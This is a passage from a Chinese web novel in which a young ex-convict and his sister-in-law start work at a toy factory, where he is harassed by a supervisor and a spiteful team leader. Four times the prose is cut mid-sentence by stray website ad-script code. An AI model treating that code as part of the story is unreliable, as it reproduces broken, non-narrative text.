至于那个杨旺兴,我虽然不清楚他的底细,但一看,应该是老周曾经的小弟。 这里我又美化了一下,但不纯是为了装,只是想抚慰嫂嫂不安的心情。 我就说那矮子是我师父的跟班,来港城,是有大买卖等着我去干。 过不了多久,我肯定就有钱了! 没想到,嫂嫂听完后的反应,跟我想象的差了十万八千里。 她满脸浓浓的内疚,抱了抱我,轻拍我的后背。 “小浩,这些年太委屈你了,都怪我,要不是我,你也不会……” 嫂嫂的声音突然哽咽起来。 “哎,嫂嫂您别这样啊!” 我心里一急,恨不得给自己来两下。 瞧我这嘴,本来是想哄哄嫂嫂,反倒把她弄哭了。 我连忙解释:“真没事啊!我一点都不后悔当年的事,那家伙就该死!” 嫂嫂抬起头,眼眶红红的看着我,像是在挖我的心:“真的不怪嫂嫂么?” “当然不怪啊!”我斩钉截铁回答。 “而且,要不是这样我也不会遇到老周,学到这么多本事。说真的,这对我来说就是奇遇!” 嫂嫂擦了擦眼泪,叹了口气道:“你这孩子,总是逞强。” 我立马补了一句:“嫂嫂,你放心,我一定会让你过上好日子的!” 我们离得很近,近到我能感觉到她的呼吸。 她就这么看着我,眼神里有复杂的情感,不知道在想什么。 过了一会儿,她好像故意岔开话题,“小浩,不早了,睡觉吧。” 我有点不舍,想跟嫂嫂多聊会儿天。 哪怕什么都不做,就这样静静坐着也好。 我知道这种想法很自私,嫂嫂明显很累,我只好不情愿起身,躺到地铺上。 “小浩,你睡床上吧。” “那不行,我皮糙肉厚,不打紧。” “没事的,你受了伤,夜里天气也凉,上来吧。” 嫂嫂说这话时,表情特别不自然。 我心里一惊,娘咧,我没听错吧? 第6章 到时候? 我原以为嫂嫂喊我睡床上,是她要委屈自己打地铺。 那可不行,我怎么舍得呢。 没想到,嫂嫂的意思竟然是一起睡? 这可让我受宠若惊,而嫂嫂见我没反应,似乎以为我难为情。 她看起来也很不好意思,但还是说:“上来吧,我是你嫂嫂,别见外。” 听到这话,我兴奋的心情莫名一顿,就像被泼了一头冷水。 对哦,我在想什么呢。 于是我蹑手蹑脚爬上床,嫂嫂挪了挪身体,背对着我。 这床就是个单人的,尽管我们都有意往旁边睡,却还是会碰着。 我更不困了,心跳快得像打鼓,动都不敢动。 其实我只是想离她近点,就很满足了,真没其他想法。 说实话,那时候的我纯情得很,跟嫂嫂对视两秒都脸红。 我们背靠背躺着,港城的温差真是大,白天热得要命,晚上却冷得打颤。 可我却莫名其妙地燥热,感觉像在发烧,想挪挪身子,又不敢。 这种感觉别提多难受,心想嫂嫂要是睡着了,我就偷偷溜回地铺去。 不知道过了多久。 我稍微动了动,嫂嫂就问:“小浩,不舒服吗?” 我顿时局促不安,不知道该怎么回答,出于逃避心理,我选择装死。 本以为她见我没反应会继续睡,可她突然又问: “小浩,你不是很好奇我和你堂哥的事吗?” 我当然好奇啊,有关嫂嫂的事,我都想深入。 之前,苦苦忍耐没去追问,是顾及会勾起她伤心的回忆。 现在也是,尽管好奇得要命,却只能假装淡定:“没事,都过去了。” 可嫂嫂自顾自说了起来,或许是来到一个全新地方,那捆绑她的枷锁总算松动了。 也或者,她单纯只是想发泄出来。 我心里暗想,嫂嫂愿意说,我就愿意听。 没想到,当年的事还挺复杂。 嫂嫂她爸和我大伯都是煤场工人,但她爸是看仓库的,手脚不干净,被我大伯逮住了。 我大伯却没检举,还拉她爸一起干,一来二去更熟了,然后就跟林家提了亲。 于是,嫂嫂就嫁给了我堂哥。 我就说呢,堂哥长得又矮又丑,跟个胖头鱼似的,嫂嫂怎么会看上他? 婚后,嫂嫂也不幸福。 堂哥那方面不行,还染上各种恶习。 镇上的八卦婆娘们传的全是瞎话。 实际情况是,我大伯和堂哥一起偷煤卖,路上出了车祸,人没了,不是煤场事故。 堂哥因此断了一条腿,脾气也变得更坏。 他那方面不行,总怀疑嫂嫂在外偷汉子,动不动就家暴。 嫂嫂不仅要苦苦支撑鱼档还债,还得被堂哥摧残。 这几年,她过的简直就是地狱生活! 嫂嫂的声音越来越小,听起来好像又哭了。 我真的好想翻个身抱抱她,安慰她。 可我知道这样很不合适。 “现在我们都出来了,过去的就让它过去吧,大不了跟堂哥离婚,两清。” 本来是想安慰她,让她放下。 可谁知道,这话一出,嫂嫂真的哭了。 我心里一阵慌乱,说错话了这是? “对不起,对不起!” 我是真的不知道该怎么办,不是我情商不高,是在意的人哭了,我就着急。 结果嫂嫂被我逗笑了,哭得更厉害,又笑着说:“你真是个傻小子。” 我更懵了,到底咋回事啊? 嫂嫂吸了吸鼻子,哽咽道:“是嫂嫂对不起你,害你坐牢,我真是个扫把星。” 我连忙说:“那件事真不怪你啊!” 嫂嫂突然问:“小浩,我能问你件事吗?” “嗯?” “我是你嫂嫂,小浩。” 听到这话,我心里顿时堵得难受。 我无法否认自己的感情,但也知道这段感情,是没法得到回应的。 这两天,我都在痛苦和快乐中度过,多的不敢想。 嫂嫂继续道:“你也已经成年了,嫂嫂又不傻,当然明白你的意思。” 难受啊,其实我就是想,这样含糊不清也挺好的。 毕竟不说破,大家都不会尴尬。 可嫂嫂却亲手将这层纸给捅破了。 我真不知道该说什么好了。 这期间,我也不知道嫂嫂在想什么,反正我是心如乱麻。 真应了那句剪不断,理还乱。 沉默了一会儿,嫂嫂突然又开口: “小浩,你还小,但你很优秀,以后会遇到更好的女孩的。” 我心里一阵不爽,想说我哪小了。 但嫂嫂接下来的话,让我的心情瞬间又从谷底直冲云霄。 她很小声:“要是到那时候你的想法没变,我…我就……” 我似乎听见了“我就给你”几个字,可又怀疑是不是听错了。 这算是一种许诺吗? 我不敢追问,心里像被猫抓了一样痒。 那时候?什么时候呢? 既然嫂嫂跟堂哥并没有感情,应该会离婚吧? 心情像飘在天上,抑制不住又开始胡思乱想。 突然,我才反应过来—— 对哦,刚才提到离婚,嫂嫂哭得那么凶… 是因为堂哥有嫂嫂她爸的把柄? 那这件事,用钱能解决吗。 我始终没有忘记初衷,来港城,就是为了出人头地,要挣大钱,要让嫂嫂当公主。 只是又不清楚那个矮子兴,到底靠不靠谱的。 他已经坑了我一次,心里有点打鼓。 很努力想先睡觉,却死活睡不着。 嫂嫂应该是真睡着了,呼吸听着很浅,有些绵长。 我悄悄转了个身。 她那小巧玲珑的耳廓,颀长的脖颈,平削的肩膀映入眼中,又让我心里头荡漾。 我很小心保持距离,甜滋滋的,突然就懂了岁月静好是什么意思。 慢慢的,总算有了困意。 我做了个梦,梦里,我一手一个大肉包,吃得不亦乐乎。 接下来两天,我们窝在旅馆等消息。 我心里痒痒的,想去城里转转,毕竟是大城市,见见世面也好。 但嫂嫂怕花钱,现在能让她有安全感的,估计就我和钱了。 我只好依着她,幸亏那个矮子兴还算靠谱,说是跟玩具厂经理打好招呼了。 想着总算能上班我就很兴奋,下下个月就有工资了。 那时候,我和嫂嫂就能过上好一点的日子! 结果矮子兴却笑话我猴急个啥,现在只是跟经理打了招呼,要了名额而已。 港城的工厂都是香饽饽,多少人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 挤破头都想进去,人头费起码一两千。 进去就能住宿舍,不用担心被查暂住证。 不然要是被逮着,就得遣送。 所以光搞定经理这个大鬼还不够,还有小鬼得伺候。 我没想到这里面还有这么多弯弯绕绕。 现实的麻烦渐渐浇灭了我刚离开家时的斗志昂扬,起初我想着找到活干后,租个房子,不让嫂嫂操劳。 她想干什么都可以,总之粗活累活我全包了。 爸妈的意思是让我俩一起务工,同时在外乡也有个照应。 可我的初衷,只是想让嫂嫂离堂哥那个畜生远点。 我以为矮子兴是想让我掏钱搞这个人头费,他这个当中介的,估计还要薅点好处。 人头费我哪给得起啊! 港城物价高得离谱,三四天下来,我跟嫂嫂省吃俭用,恨不得一块钱掰成两块花。 可即便如此,手头上也只剩六百多了。 我小心谨慎问:“兴叔,那咋办?” 矮子兴没好气说,“能咋办,要不是你是周爷的人,我才不会管。” “放心吧,都打点好了,今晚我做东,请喷漆车间的主管吃顿饭,你们也来。” “这样他就不会为难你们,鸡毛蒜皮的小事也不会拿来开除你们。” 听到不用自己掏钱,我对这家伙的感官又好了不少。 真不是我抠,实在是一分钱足以难倒英雄汉,我现在是真拮据。 但是混社会的门道,老周都教过我。 于是我忍疼割肉,去楼下士多店买了两包贵烟塞给他,说是感谢兴叔的照顾和提拔。 兴叔非常高兴,拍着我说小伙子会来事,有前途。 到了傍晚,我和嫂嫂跟着兴叔去了一家还挺大的饭店。 看来兴叔为了我的事真上心了,也舍得花钱,订了个包间。 但我本以为吃顿饭就能完事,结果服务员来问了几次菜都备好了,什么时候上。 那喷漆车间的主管却迟迟没来。 兴叔的脸色也从不大好看,到越来越难看,不断看表。 我心里也直打鼓,不会是被耍了吧? 等了足足快两个小时,已经晚上九点多了,那个主管才姗姗来迟。 他是个大腹便便,留着地中海发型的中年胖子。 真是好大的架子,我心里很不爽,不断提醒自己不能发作。 出来混,现在又是有求于人,该低头还是得低头。 我连忙起身迎上去,准备说几句好听的,拍拍这家伙马屁,好让他对我有个好印象。 我腰也低了,双手也伸了出去。 他却无视我,直接跟兴叔抱怨,“老杨,不好意思啊,几个客户非缠着我不放。但你的事,我才上心了。” 兴叔赔笑道:“多谢多谢,廖总你能来,真是我的荣幸呐!” 这廖主管跟兴叔又寒暄了几句,但迟迟没入座。 看他这样,似乎就没打算坐下来吃饭。 但突然,他的目光扫到嫂嫂,眼睛立马亮了。 他往前走了几步,伸出手要跟嫂嫂握手。 “老杨,这就是你介绍的人啊?早说啊,哈哈哈!姑娘,幸会幸会,你叫什么名字?” 嫂嫂被他的举动弄得不知所措,眼神求助看向我。 我登时火冒三丈。 大家都是男人,他想什么我怎么会不清楚? 草! 第7章 落差! 还真不是我多想。 这姓廖的看嫂嫂就盯着胸口,还是那种恨不得透过衣服看里面的。 那模样,像条饿了三天的野狗盯着一块肥肉。 嫂嫂站在那儿,明显有些不知所措,手都不知道往哪儿放。 廖主管一双肥厚的手伸出来,像是要抓住什么宝贝,眼睛里满是贪婪的光。 要握嫂嫂的手,无非也是想占便宜,肯定会摸来摸去。 我能感觉到嫂嫂的害怕,她的手在微微颤抖。 这一刻,我心里有一股无名火在烧。 我连忙挡在嫂嫂身前,挤出勉强的笑。 “这是我嫂嫂,林桃,还请廖主管多多关照。” 廖主管的笑容瞬间僵了一下,但很快又挂上那副虚伪的笑脸,讨人厌极了。 他那笑容,就像个恶心的面具,底下藏着的全是龌龊的心思。 旁边,兴叔不停给我使眼色,意思再明显不过—— 干嘛呢?有眼力见没有?得罪廖主管,你还想不想混了! 可我真忍不了。 虽说我跟嫂嫂大老远跑到这,就是想谋个生计。 可是,让我眼睁睁看着这姓廖的占嫂嫂便宜,我做不到! 我心里清楚,得罪了廖主管,这工作估计要黄了。 但那一刻,我只有一个念头—— 就算工作没了,也不能让嫂嫂受半点委屈! “哈哈!年轻人很有朝气嘛,我喜欢!” 他拍了拍我的胳膊,很用力,刚好还是我疼的地方。 我心里怒火腾地一下就上来了,甚至有一瞬间想把他掀翻在地。 但是我忍住了。 廖主管咧嘴一笑,“明天就来厂里报道吧,到时会有专员负责。” 听到这话,我不由一愣。 我还以为他会刁难我呢,这么顺利? 廖主管转头又对兴叔笑,“老杨,心意我领了。” 他抬起手腕,瞥了一眼表。 “待会我还有个酒局,先走了。” 兴叔赔笑着,亲自送廖主管出饭店。 我领着嫂嫂跟了上去,有点不理解。 一个工厂车间的主管而已,至于让兴叔这么低声下气? 兴叔那可是道上混的,随随便便就能喊来十几号兄弟。 怎么在这廖主管面前,却跟个孙子一样? 等廖主管一走,我忍不住问出了口。 兴叔看着我,没说话,过了会儿,他叹了口气。 “小子,这廖主管的侄子,是当地老虎帮的骨干。” “刚才算你运气好,廖主管心情好,没跟你计较。” “这里是港城,有头有脸的大人物海了去,你可别由着性子干傻事。” 他说到这又停顿了一下,像是思索什么,接着继续。 “老虎帮不仅控制本地市场,外头那些摩的佬也大都是他们的人,就搞你们外来的,势力可大了。” “你们啊,以后出门也得多个心眼。” 我听着,心里想着反正跟我没关系,我就想老老实实打一份工。 这些帮派的事,在牢子里老周没少给我讲,早听腻了。 听的时候是挺热血,可我很清楚,自己好不容易才出来,绝对不能再犯事进去。 而且我还答应了嫂嫂,等工作的事落实后,就尽量少跟兴叔来往。 嫂嫂不是不懂知恩图报,她怕我沾上道上的关系,走歪路。 关于这事,我姑且口头上应承了。 我也以为自己真是运气好,这事总算告一段落。 离我想要的稳定生活,又近了一步! 隔天到了工厂,果然有人专门来对接,先办了入职手续。 嫂嫂被安排去当质检员,确保喷漆后的玩具涂层均匀、无气泡、无瑕疵。 我则当了清洗工,负责清洗喷涂后的工件,去除多余的涂料和杂质。 一看都不是累活,我乐坏了。 兴叔真给力啊! 像别人没关系、没技术的,花钱进来顶多只能干个搬运工。 当时我的心情就跟坐飞机上拉稀,谢天谢地。 宿舍是八人间,环境虽不咋地,却让我很有安全感。 前几天还心情消沉、忐忑不安,现在一下子就振作起来了。 清洗工工资每月400,嫂嫂当质检员高点,有个550。 厂里包食宿,平时我们也不用花什么钱。 那一个月下来,我们能存1100块,光是想想,就觉得美滋滋。 但我的目标可不在这,才几百块,离我想给嫂嫂好的生活还远得很。 我想当喷漆工,得找机会跟厂里的老师傅学艺,可别人肯定不会轻易收徒。 那就得套近乎了。 于是我就想啊,得买点烟酒,先去敲开这扇门。 当然,目前这些离我还是挺远的,我很清楚不能一下子步子迈太大,不然容易扯到蛋。 现在还是得干好手头上的这份工作。 清洗的工作很简单,就是喷漆前清洗一下设备,确保没有残留的涂料。 喷漆后也要清洗,以防有残留物干涸。 别 人示范一次,我就上手了,干得比谁都要卖力。 自己那份干完,也帮同事的,其实就是想迅速拉近关系。 拓展人脉,好接触厂里的其他老员工。 反正这玩意也不是按件算工钱,就是死工资,别人巴不得像我这种憨货多干。 起初都没有任何问题,非常顺利。 很快,我也跟工作组的同事打成一片,我年纪又最小,他们都亲切地喊我小唐。 但安稳的日子仅仅过了三天,质检组的组长王美玲突然找上我,劈头盖脸就是骂: “你干啥吃的!看看,看看!” 这大姐我之前的印象是挺漂亮的,笑起来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 眼角还有几分柔情。 可现在那股子凶劲一上来,立马跟变了个人,眼神锐利得能把人盯出个窟窿。 她把个上了漆的玩具狠狠甩我身上,我连忙接住,一头雾水。 “你自己看,这上面的气泡怎么回事!” 我被她说懵了,心想有气泡关我叼事? 可她却一口咬定是我清洗喷枪时没注意,让枪口堵塞了。 这可给我气笑了。 我非常确定经过我手清洗的每一个喷枪,绝对都是干净的。 再说了,清洗组十来号人,凭啥就是我的问题? 我很想跟她理论,但眼角余光扫到嫂嫂担忧的样子,心里那口火气只好强忍着。 没办法啊。 我跟嫂嫂都是刚进来的新人,对方不仅是老员工,质检组组长,还是车间的副主管。 要是我顶嘴,那往后的小鞋肯定有得我受。 更关键是,嫂嫂就在这母夜叉手下干活,可不能让她把气撒在嫂嫂身上。 我藏在背后的右手紧紧握拳,赔笑道: “王姐,对不起,是我的问题,我保证下次绝对不会犯错了。” “扣钱!50块!”王美玲拿鼻孔看我。 卧槽,50块! 那不就等于扣我四天工钱?合着我前几天全白干了? 说实话,要不是有顾忌,我早就翻脸了。 草你娘,欺人太甚! 王美玲这时又气焰嚣张来了句,“不服?不服你咬我啊!” 我差点没忍住,超级委屈。 四周那么多人看着,那种目光,跟刺一样。 我一上头,眼角都湿热了,可还是低下头。 “王姐,你罚得对,确实就是我的问题!” 王美玲见我很好拿捏,似乎很满意,嘴角翘得老高。 “下班后你们组留下,给所有设备深度清洁维护!” 这话一说,整个组里的人都炸锅了。 全面清洁维护可不是小活,半个月才一次,我进工厂的前一天,刚好大维护过。 而且都是所有清洁工一起干,现在让我们组八个人负责? 这不摆明了找茬吗? 当即就有人跟王美玲求情,“王姐,小唐只是个新手,犯点错也正常。” 可不管组里的老人好说歹说,王美玲今天就好像铁了心要整我。 “那就是你们的问题了!” “知道是新手,还不知道看着点?反正都是他的错,别找借口,你们也得给他买单!” 我后槽牙都快咬碎了! 真想不通啊,我也没得罪这母夜叉,她为什么就盯上我了? 这还不是最糟的,最让我爆炸的是,因为我,连累整个组的人跟我一起加班,还没加班费! 这下好了,我以后在组里还怎么混? 这几天才刚刚跟组里的人打好基本关系,被王美玲这样一搞,全毁了! 第8章 贵人! 尽管我很想来上一句放你妈的五香麻辣屁,可当下形势逼人,老子只能继续装孙子。 不然咋办? 叼这个王美玲只会一时爽,事后肯定火葬场。 她是车间副主管,掌握着开除我的生杀大权。 奶奶的,真是瞎眼了。 还以为她是个温柔善良的大姐姐呢,结果这女人简直是个披着人皮的毒蛇! 我态度够好了,罚我钱也认了,她还要搞内部分化。 杀鸡儆猴也不带这样的啊,这不就是存心整我吗! 行! 这口气小爷我姑且忍了,正所谓强龙不压地头蛇,你给我等着。 总有一天,我会让你跪我面前! 我心里恨恨想着,反正孙子都装了,也不差再说点舔的话。 “王姐,谢谢你,我一定会认真反省,以后工作也会更加认真。” 王美玲愣了愣,可能没想到我会是这种反应。 拳头打在棉花上,一下子她也被整不会了,哼了一声就转身走了。 我强忍眼泪,真不是我爱哭,是平白无故受此天大委屈,谁受得了? 我有点想家了。 但这种想法很快就被我按了下去。 我才不要当缩头乌龟,不能遇到点事就想逃避,我要出人头地! 车间里,机械声轰鸣,我的心情比这噪音还糟。 王美玲一走,周围的人开始窃窃私语。 “哟,这小子走后门进来的吧,看来后台不行啊。” “肯定是没有孝敬王姐,要有苦头吃喽。” “年轻人太张扬,活该!” 这些声音刺得我耳朵生疼,但我懒得计较。 我走到堂嫂身边,挤出个笑容。 “嫂,没事的,吃一堑长一智,以后我会小心。” 堂嫂看着我,满脸担心。 要不是在车间,我真想紧紧抱住她,想要温暖的感觉。 太他妈难受了! “小浩,别担心,我待会去跟王姐说说,她对我挺好的。” 我赶紧摇头。 这会去求情,无异于火上浇油。 王美玲正得意着呢,谁去求情都没用。 嫂子还是太单纯,真让我哭笑不得。 我克制着情绪,没在她面前说王美玲的坏话。 在嫂子的眼里,王美玲是个好人,她照顾嫂子,那就算是好事。 我不想让嫂子卷进这场风波,免得她苦恼。 “真没事,放心吧。”我再三叮嘱嫂子别去求情。 她果然信了,看我有说有笑,也跟着笑了。 笑容依旧那么美,好似家乡冬日里暖阳洒在狗尾巴草上,温暖而柔和。 终于熬到下班,我心里盘算着得赶紧维护下工友们的关系了。 我知道,同组的工友们现在怨气肯定不小。 因为我,今晚他们估计得干到后半夜。 于是,我打算提前去食堂买点好菜赔罪,晚点再去弄几包好烟散散。 兴隆玩具厂的待遇确实不错,食堂给每个人提供一荤一素,还有汤汤水水。 不过,有些硬菜却得自己掏钱买。 因为那些就不是给我们工人准备的,都是厂里的小领导在消费。 我咬咬牙买了辣子鸡丁、尖椒炒猪肝、还有东坡肉,端到工友们那桌。 组长老李依旧一脸黑。 我厚着脸皮坐下,他们有说有笑,就是无视我,吃完自己那份后,拍拍屁股就走了。 这就是王美玲的歹毒手段! 她让工友们孤立我,这样以后工作上就容易起摩擦。 一旦被她逮住机会,她肯定还要搞我。 草! 尽管我看穿了她的计谋,也尝试补救,可没有效果。 这让我的心情低落,胸口像被什么堵着,发泄不出来。 估计今晚维护机器时,工友们也会摸鱼。 要是让我一个人干,赶明儿也做不完。 我只能默默给自己打气。 没事,一点挫折而已,唐浩,你得雄起! 面前摆着的都是美食,可我真吃不出啥味,量也不少,我一个人根本吃不完。 可又哪舍得扔下,便打包起来,打算干完活饿了当早饭。 回到车间,我撸起袖子就准备干活。 这时,组长老李领着其他人也来了。 我以为他们是来看戏的,却没想到,之前还黑着脸的老李竟然对我笑了。 什么情况?我害怕 “小唐啊,你是不是傻,那王美玲明摆着就是拿你开刀,你还不懂啊?” 老李语重心长说完,叹了口气。 “知道啊,可是你们……” 我话没说完,只见他们都麻利地开始穿戴工作服,一副要帮忙的样子。 老李拍了拍我的手臂说: “饭堂那没少王美玲的狗腿,今天这事大家都心知肚明,你没错。” “那玩具上起了气泡,根本就是喷漆师傅的问题。” “但你也错了,错就错在你得罪了王美玲,小唐,好好想想,你到底哪让她不顺眼了?” 说到这,老李 苦笑几声。 “谁让咱都是最底层的,在社会上垫底,在这小小工厂里也垫底。” “要让王美玲知道我们没孤立你,她那点小心思没如愿,你只会更惨。” “是啊,小唐,你不会真以为哥几个小气吧?” 工友们都对我露齿笑,笑得朴素,也真挚。 那瞬间,我心里就好像被什么烤着,暖烘烘的。 一天下来窝的火,憋着的委屈,总算找到了宣泄口。 真就情不自禁,眼眶有点湿热了。 我吸吸鼻子,“我也不知道哪得罪她了啊。” 老李挑了挑眉,揶揄地看着我:“小唐,你不会真没发现吧?” 我一头雾水:“发现什么?” “王美玲她看上你了, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她那是故意找茬,好让你注意到她。” “哈?”我顿时懵了。 老李和工友们立马又笑了,笑得前仰后合,连呛带咳的。 我才反应过来,这帮家伙寻我开心呢。 不过,他们这样一搞,我郁闷的心情也清爽了不少。 于是我们开始干活,我是真打算每个工件都仔细清洗,不给王美玲找茬的机会。 不然明天,老巫婆又得逼逼赖赖。 老李见我这样子又乐呵了起来。 他说小唐啊,平时见你也挺机灵的一个人,怎么一到节骨眼上就犯二。 我没懂这话什么意思,便虚心请教。 老李于是就让陈国华到大门那边放哨,然后说王美玲估计都忘了这茬了。 工件前不久才全面维护过,根本犯不着再弄,只要意思意思就行。 再说王美玲要是真铁了心跟我过不去,那哪怕我把每个工件撸秃噜皮了,她一样挑出毛病来。 这事恐怕就是当时为了激我,如果我没忍住,跟领导抬杠。 那王美玲也就有理由开除我了。 可我却低头了,看王美玲的样子,摆明是不得劲。 老李说到这狡黠一笑,真有点高人的范儿。 可能这就是出来混久了积累的经验吧,老周虽教过我不少,但缺少实践。 当下我也很认同老李的说法,一个头两个大,连忙继续请教: “意思是我该送礼吗?” 老李摇了摇头,说: “你是托谁进来的我就不问了,你也千万别到处说,会犯忌讳。” 我当然懂,人头费这事儿,在厂规里可是禁忌。 泄露自己的靠山,无异于把人给卖了。 兴叔之前也反复提醒过我。 老李继续道,“一般像你这种插队进来的,王美玲可不敢随便刁难。” “除非,带你进来的人跟她有过节。” 我心里顿时一沉。 这不可能啊,拉我进来的是廖主管,车间的真正老大。 老李这一提,我脑子突然灵光一闪。 对啊,王美玲一个副主管,怎么敢跟廖主管这尊大佛杠上? 难道说,王美玲搞我,是廖主管指使的? 可我也没得罪廖主管啊,也就那天挡着他,不让他占嫂嫂的便宜。 不至于这么小气吧? 而且我还有兴叔这层关系呢。 想着想着,我又有点晕了。 说实话,这人际关系真是复杂得让人头大。 讨生活已经够累人了,打个破工而已,还得处处顾忌,小心翼翼。 真他妈操蛋! 老李好像看透了我的烦恼,脸上浮现淡淡的笑意。 不得不说,我运气还算不错的,才来几天就遇到了老李这样的贵人。 别人愿意花时间提点你,那可是一桩福气啊。 他说:“小唐,其实这事你别想得太复杂。我给你指条明路吧。” 第9章 金鳞岂是池中物! 听到老李的话,我立马凑过去问:“啥办法?” 说实话,我就想老老实实打份工。 可老周那句话在我耳边回荡,老实人最容易挨欺负。 你越老实,别人越蹬鼻子上脸。 我心里清楚,要是一直逆来顺受,只会让王美玲那毒妇更嚣张。 这事儿,得破局! 所以听见老李有明路,我自然好奇。 老李神秘兮兮说,王美玲有个外甥女在兴隆玩具厂做仓库。 而我俩年纪差不多,肯定有共同话题。 我差点笑出声,不对吧,这是让我出卖色相? 虽然哥一米八几,来南方后,真没见几个比我高大的。 加上常年练武,浑身腱子肉。 长相方面吧,我也有点自信,反正不丑。 可我心里已经住着嫂子了,别的女人再好也进不来。 所以老李这个提议,我想都没想就否了。 我说:“叔,先不说人家姑娘看不看得上我,这要让王美玲知道,还不得扒我一层皮?” 王美玲正看我不爽呢,这时去接近她的外甥女,她又不傻。 这不就跟拱火一样吗? 老李愣了愣,旋即气笑,“你小子想啥呢。” 他挥手叫来张伟。 说这小子在厂里可是八面玲珑,跟王美玲的外甥女周琴还有点交情,张伟的话,顶用。 老李此时就像运筹帷幄的军师,眼神里透着洞察一切的老辣。 “小伟,你去跟周琴说感谢她姨的照顾,请她们吃个饭。” “王美玲这人爱占便宜,有饭不吃白不吃,肯定会去。” “关键是她还要面子,到时候小唐你跟着去,她就算想翻脸,也不会当场发作。” 说到这,老李见我皱着眉,又继续给我分析起来。 “在厂里,你连跟王美玲说话的机会都没有,别人都不搭理你,难道你还要硬来?” “谈事情嘛,就得在饭桌上。” “至少可以先问清楚怎么回事,再想办法应对。” 张伟给我的印象就是挺阳光一川地小伙,当下他也很爽快打包票道: “小唐,放心吧,人我可以给你约出来,但这饭钱我可管不了啊。” 我连忙说那当然,只是,心里面难免会忐忑。 老李这办法真能行吗? 就算把王美玲约出来,那歹毒婆娘真会给我说话的机会? 可是,我自己也没更好的办法,就很愁。 接下来,我们几个就在车间找了个角落,挨着机器旁边歇了。 起初我挺纳闷干嘛不回宿舍,老李又给我上了一课。 他说这不得做做样子给王美玲看啊,现在回去,王美玲铁定知道我们偷懒了。 反正王美玲到现在也没派人来检查,说明她当时就一时兴起,转头估计也忘了这茬。 上有政策,下有对策嘛。 老李笑了笑,“小唐,人活一世,得自己给自己减压。压力并不能给你动力,只会给你病例。” 他的眼神透着一股说不清道不明的深沉,这话也饱含了人生阅历。 “可别把自己气坏,那整你的人只会幸灾乐祸,自己还要白受罪。” 果然人不可貌相! 别看老李只是个清洁工,却是有大智慧的。 这对当时的我来说,简直是刷新了三观。 讲真,如果不是老李,我肯定会一板一眼把每个工件清洗一遍。 现在想想,真是天真。 老李又从口袋里掏出一颗薄荷糖,丢进嘴里嚼了嚼,像是在咀嚼什么深刻的道理。 “记住,小唐,做人要懂得变通。这世上没有什么是解决不了的,关键在于你怎么去看待。” 他的话像一把钥匙,打开了我心中的一扇门。 我连忙点头说是,心里对老李那是老崇拜了。 这人不仅经验丰富,还特有智慧。 就这样我们一觉睡到早上,离上班还有个把小时。 老李把我们喊起来,说是要装得很累的样子。 这样王美玲看见后,心里才会舒坦。 她舒服了,我们也就少遭点罪。 嫂嫂这时也来了,手里提着一袋香喷喷的大包子,分给了老李等人。 她笑着说:“感谢大家照顾小浩,真是不好意思。” 然后就拉着我给大家道歉,“因为小浩,害得大家通宵加班,真是对不起。” 嫂嫂今天穿着一条浅色长裙,裙摆上点缀着细小的白色花朵,仿佛春天里的小花洒落在她身上。 她的白皙皮肤被映衬得更加透亮,整个人显得格外动人。 她的长发柔顺披在肩头,微风轻拂时,几缕发丝调皮地划过她的脸庞。 走动间,裙摆如同轻盈的云朵般翩翩起舞,摇曳生姿,带着一股淡淡的香气,令人心醉。 老李他们自然是看呆了。 不过他们可不像那猥琐的廖主管,眼神里带着的只有欣赏和尊重。 看到他们的表情,我心里那叫一个自豪! 嫂嫂来到厂里后,绝对是厂花! 什么王美玲 ,连给嫂嫂提鞋的资格都不配! 我三两下就把包子解决了,打了个嗝,昨天晚饭打包的就留到中午再吃吧。 嫂嫂看我这样,眉头都皱到一起了,眼里满是心疼,问我累不累。 说实话,睡地板当然累,夜里又冷,湿气也大,整个人都腰酸背疼。 可不知道为什么,在嫂嫂面前,我就是喜欢逞强。 我傻笑着回答:“好着呢,看!” 说着,我还撸起了袖子,露出健硕的臂大肌,鼓鼓的。 嫂嫂噗嗤一声笑了,那笑容,能给我看醉。 她轻轻摇了摇头,避开老李他们,把我拉到车间外,神秘兮兮的,搞得我心里怪紧张。 “这是我跟食堂张婶要的,” 她低声说。 “晚上冷,你之前还受了伤,不能着凉了。快,趁热喝了。” 她小心翼翼打开饭盒,浓浓的姜汤香气扑鼻而来,里面还飘着红枣和枸杞。 姜汤的热气在清冷的早晨里升腾,仿佛一股暖流直达心底。 我心里一阵感动,眼眶都有点湿润。 “嫂嫂,你真好。”我接过饭 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 盒,声音有些哽咽。 嫂嫂笑了笑,上手给我捏肩。 她的手不大,力气也不大。 但每捏一下,我都像触电一样。 心里头,那种感觉老怪了。 “别逞强了,好好照顾自己知道吗。”她轻声叮嘱。 我点点头,喝了一大口姜汤,暖暖的,仿佛有一种力量注入体内。 那一刻我觉得,生活再怎么艰辛,只要嫂嫂在,一切都值得。 只可惜,美好总是那么的短暂。 上班时间一到,王美玲那张丑恶嘴脸就在我面前晃。 她甚至连工件都没瞧一眼,就指着我开骂: “干嘛吃的,这上面还有油污,你瞎了吗!” 我他妈的,工件上但凡有一点污垢,我能给它吃了。 要不是昨晚听了老李的话,我绝对忍不了了。 这阴毒女人确实针对我,为什么呢? “最后一次机会,今晚你们好好洗,能干就干,不能干滚蛋!” 王美玲一手叉腰,一手指着我鼻子,恶狠狠说。 我真是差点没忍住,就想把抹布塞她嘴里,使劲搅。 打个工而已,不是来给你做牛做马的! 可没办法,为了嫂嫂,我得忍。 如果我被开除,不就跟嫂嫂分开了? 没了工作,我咋办,难道要露宿街头? 而且跟这女人撕破脸,嫂嫂也会遭罪。 就是苦了老李他们,靠! 整我可以,没必要连老李他们也不放过吧! 我知道自己得争气! 金鳞岂是池中物,一遇风云便化龙! 就像那天刚到港城时,我对着星空立下的誓言—— 我要爬上去,让所有欺负我的人都付出百倍千倍的代价! 王美玲的每一次刁难,都像是给我注入一剂强心针。 她越是欺负我,我的斗志就越是熊熊燃烧! 可现实是残酷的。 因为王美玲的态度,车间里的其他人都对我敬而远之。 清洁工作的强度并不高,很多时候我都能四处走动。 